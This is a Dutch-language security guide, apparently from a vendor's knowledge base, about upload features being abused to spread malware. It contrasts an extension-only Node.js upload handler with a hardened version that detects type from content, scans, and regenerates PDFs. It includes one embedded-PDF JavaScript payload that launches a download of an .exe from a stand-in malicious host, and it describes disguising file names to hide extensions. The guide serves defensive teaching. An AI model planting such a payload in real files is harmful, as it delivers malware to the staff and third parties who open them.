Direct naar inhoud

Uploaden van schadelijke bestanden mogelijk

CWE-434CWE-646OWASP A04:2021Bijgewerkt 3 september 20265 min leestijd

Een uploadfunctie waarmee bestanden worden gedeeld of later door medewerkers worden geopend, kan worden gebruikt om malware te verspreiden. De server zelf loopt geen risico, maar uw platform wordt het transportmiddel en uw domeinnaam levert de geloofwaardigheid. Een PDF met een ingebedde actie is daarbij het meest gebruikte vehikel.

Bij een uploadfunctie gaat de aandacht meestal naar de vraag of er iets op de server kan worden uitgevoerd. Er is een tweede risico dat losstaat van uw infrastructuur: uw platform kan worden gebruikt om schadelijke bestanden te verspreiden, waarbij uw domeinnaam de rol van betrouwbare afzender speelt. Dit artikel behandelt hoe dat verloopt en wat u eraan doet.

Wat is het risico van geüploade bestanden?

Van het uploaden van schadelijke bestanden spreken we wanneer een applicatie bestanden accepteert die later door mensen worden geopend, zonder dat de inhoud daarvan wordt beoordeeld. De server zelf voert niets uit; het bestand wordt keurig opgeslagen en keurig teruggegeven. Het risico ligt bij de ontvanger.

Deze bevinding verschilt daarmee wezenlijk van een onbeperkte bestandsupload die tot code-uitvoering leidt. Daar is uw server het doelwit. Hier is uw applicatie het transportmiddel, en de schade valt bij uw medewerkers, uw klanten of bij derden.

Het verschil is te vergelijken met een postbedrijf. Het ene risico is dat er iets in het sorteercentrum ontploft; het andere is dat het pakket keurig wordt bezorgd en pas bij de ontvanger opengaat. In het tweede geval mankeert er niets aan uw proces, behalve dat u niet hebt gekeken wat u vervoerde.

Hoe verloopt zo’n besmetting?

Kwetsbaar:

// Alleen de extensie wordt gecontroleerd; de inhoud niet
const TOEGESTAAN = ['.pdf', '.docx', '.xlsx'];

app.post('/aanvraag/bijlage', upload.single('bestand'), async (req, res) => {
  const ext = path.extname(req.file.originalname).toLowerCase();
  if (!TOEGESTAAN.includes(ext)) return res.status(400).send('Type niet toegestaan');

  await bijlagen.bewaar({
    naam: req.file.originalname,
    pad: req.file.path,
    aanvraag: req.body.aanvraagId,
  });
  res.send('Bijlage toegevoegd');
});

De extensie klopt en het bestand is inderdaad een PDF. Alleen bevat die PDF een ingebedde actie:

/OpenAction << /S /JavaScript /JS (
   app.launchURL("https://kwaadaardig.example/factuur-2026.exe", true);
) >>

Dit is een geldig PDF-bestand dat elke controle op extensie en op het werkelijke bestandstype doorstaat. Wanneer een medewerker de bijlage opent om de aanvraag te beoordelen, probeert de lezer de actie uit te voeren. Afhankelijk van de lezer en de instellingen verschijnt er een waarschuwing, maar het gaat om een bijlage uit uw eigen systeem, bij een aanvraag die de medewerker zelf in behandeling heeft. Dat is een aanzienlijk gunstiger uitgangspositie dan een bijlage bij een e-mail van een onbekende.

Veilig:

app.post('/aanvraag/bijlage', upload.single('bestand'), async (req, res) => {
  const type = await bepaalTypeUitInhoud(req.file.path);
  if (!['application/pdf'].includes(type?.mime)) {
    await fs.promises.unlink(req.file.path);
    return res.status(400).send('Alleen PDF-bestanden');
  }

  const scan = await virusscanner.controleer(req.file.path);
  if (!scan.schoon) {
    await fs.promises.unlink(req.file.path);
    await meldingen.stuur('verdachte upload', { gebruiker: req.gebruiker.id });
    return res.status(400).send('Bestand geweigerd');
  }

  // Opnieuw genereren: ingebedde acties en scripts overleven dit niet
  const naam = `${randomUUID()}.pdf`;
  await pdfOpschonen(req.file.path, `/var/opslag/${naam}`);
  await fs.promises.unlink(req.file.path);

  await bijlagen.bewaar({
    id: naam,
    weergavenaam: schoonNaam(req.file.originalname),
    aanvraag: req.body.aanvraagId,
    geuploadDoor: req.gebruiker.id,
  });
  res.json({ ok: true });
});

Er zitten drie lagen in die elkaar aanvullen. Het type wordt bepaald uit de inhoud in plaats van uit de naam. Er wordt gescand op bekende schadelijke inhoud. Ook het bestand wordt opnieuw gegenereerd, waarmee ingebedde acties en scripts verdwijnen ongeacht of de scanner ze herkende, dat is de maatregel die ook tegen onbekende varianten werkt.

Laat de bestandsnaam die de gebruiker opgeeft niet ongewijzigd terugkomen in de interface. Namen met veel spaties of met tekens die de leesrichting omkeren, kunnen de werkelijke extensie verbergen, zodat factuur.exe er in een overzicht uitziet als een PDF. Toon een opgeschoonde naam en bewaar het bestand onder een zelf gegenereerde identificatie.

Wat is de impact van het uploaden van schadelijke bestanden?

De ernst loopt van middelzwaar tot hoog, en die hangt af van wie de bestanden opent en met welke rechten. De schade valt buiten uw applicatie, wat de bevinding niet lichter maakt maar wel lastiger te herkennen.

De meest waarschijnlijke route treft uw eigen organisatie. Uploads worden beoordeeld door medewerkers: een aanvraag met bijlage, een sollicitatie met cv, een schadeclaim met foto’s. Die medewerkers openen dagelijks tientallen van die bestanden en beschouwen ze als onderdeel van hun werk. Slaagt een bestand daar, dan zit de aanvaller op een werkstation binnen uw netwerk, met de rechten van iemand die toegang heeft tot uw klantsystemen.

De tweede route treft derden. Bestanden die door anderen kunnen worden opgehaald, maken van uw platform een distributiekanaal, met uw domeinnaam en uw certificaat als bewijs van betrouwbaarheid. Dat is een reputatierisico en kan ertoe leiden dat uw domein bij beveiligingsleveranciers als schadelijk wordt aangemerkt, met gevolgen voor uw legitieme verkeer.

Hoe spoor je het uploaden van schadelijke bestanden op?

Een tester probeert eerst waarop de acceptatie berust: op de extensie, op het opgegeven content-type of op de werkelijke inhoud. Dat wordt bepaald door een bestand aan te bieden waarvan die drie niet met elkaar overeenkomen.

Vervolgens wordt gekeken of de inhoud wordt beoordeeld. Daarvoor wordt een onschadelijk testbestand gebruikt dat door elke scanner wordt herkend; komt dat ongehinderd door, dan wordt er niet gescand. Ook wordt getoetst of bestanden opnieuw worden gegenereerd: een PDF met een ingebedde actie die er na de upload nog in zit, laat zien dat het origineel bewaard blijft. Verder wordt gekeken hoe de bestandsnaam wordt weergegeven, of er een grens staat op de bestandsgrootte, en of de bestanden vanaf hetzelfde domein worden uitgeleverd. AssistSec beoordeelt daarbij het volledige proces, inclusief wie de bestanden uiteindelijk opent, omdat daar bepaald wordt hoe zwaar deze bevinding weegt.

Hoe voorkom je het uploaden van schadelijke bestanden?

  • Bepaal het bestandstype uit de werkelijke inhoud en niet uit de extensie of het opgegeven type.
  • Scan uploads met een virusscanner, als aanvullende laag en niet als enige maatregel.
  • Genereer bestanden opnieuw waar dat kan: herschaal afbeeldingen en schoon PDF-bestanden op.
  • Sla bestanden op onder een zelf gegenereerde naam en toon een opgeschoonde weergavenaam.
  • Lever bestanden uit met Content-Disposition: attachment en vanaf een apart domein.
  • Beperk de bestandsgrootte en het aantal uploads per gebruiker.
  • Leg vast wie welk bestand heeft geüpload, zodat misbruik herleidbaar is.
  • Waarschuw medewerkers dat bijlagen uit uw eigen systeem niet automatisch betrouwbaar zijn.
  • Open uploads bij voorkeur in een afgeschermde weergave in plaats van in een lokale toepassing.

Bronnen

Veelgestelde vragen

Is dit mijn probleem als het bestand elders wordt geopend?

Ja. U levert het bestand af en uw domeinnaam geeft het de geloofwaardigheid die de aanval effectief maakt. Bovendien treft het vaak uw eigen medewerkers, die uploads beoordelen als onderdeel van hun werk en daarbij minder argwaan hebben dan bij een bijlage van buiten.

Waarom zijn PDF-bestanden zo geschikt?

Omdat ze als veilig gelden en overal worden geopend. Het formaat ondersteunt ingebedde JavaScript, automatisch startende acties en links, en veel lezers voeren daar iets mee uit. Een PDF wekt geen argwaan, en dat is precies wat een aanvaller zoekt.

Is een virusscanner genoeg?

Nee, maar hij hoort er wel bij. Een scanner herkent bekende varianten en mist gerichte of nieuwe bestanden. Combineer hem met het opnieuw genereren van bestanden, met beperkingen op wat er mag worden geüpload, en met een aparte opslaglocatie.

Wat betekent het opnieuw genereren van een bestand?

Dat u de inhoud uitleest en er een nieuw bestand van maakt in plaats van het origineel te bewaren. Bij een afbeelding levert herschalen een schoon bestand op; bij een PDF kan een conversie de ingebedde acties verwijderen. Wat er ook in zat, het overleeft die stap niet.

Verwante artikelen

Druk op / om te zoeken · Esc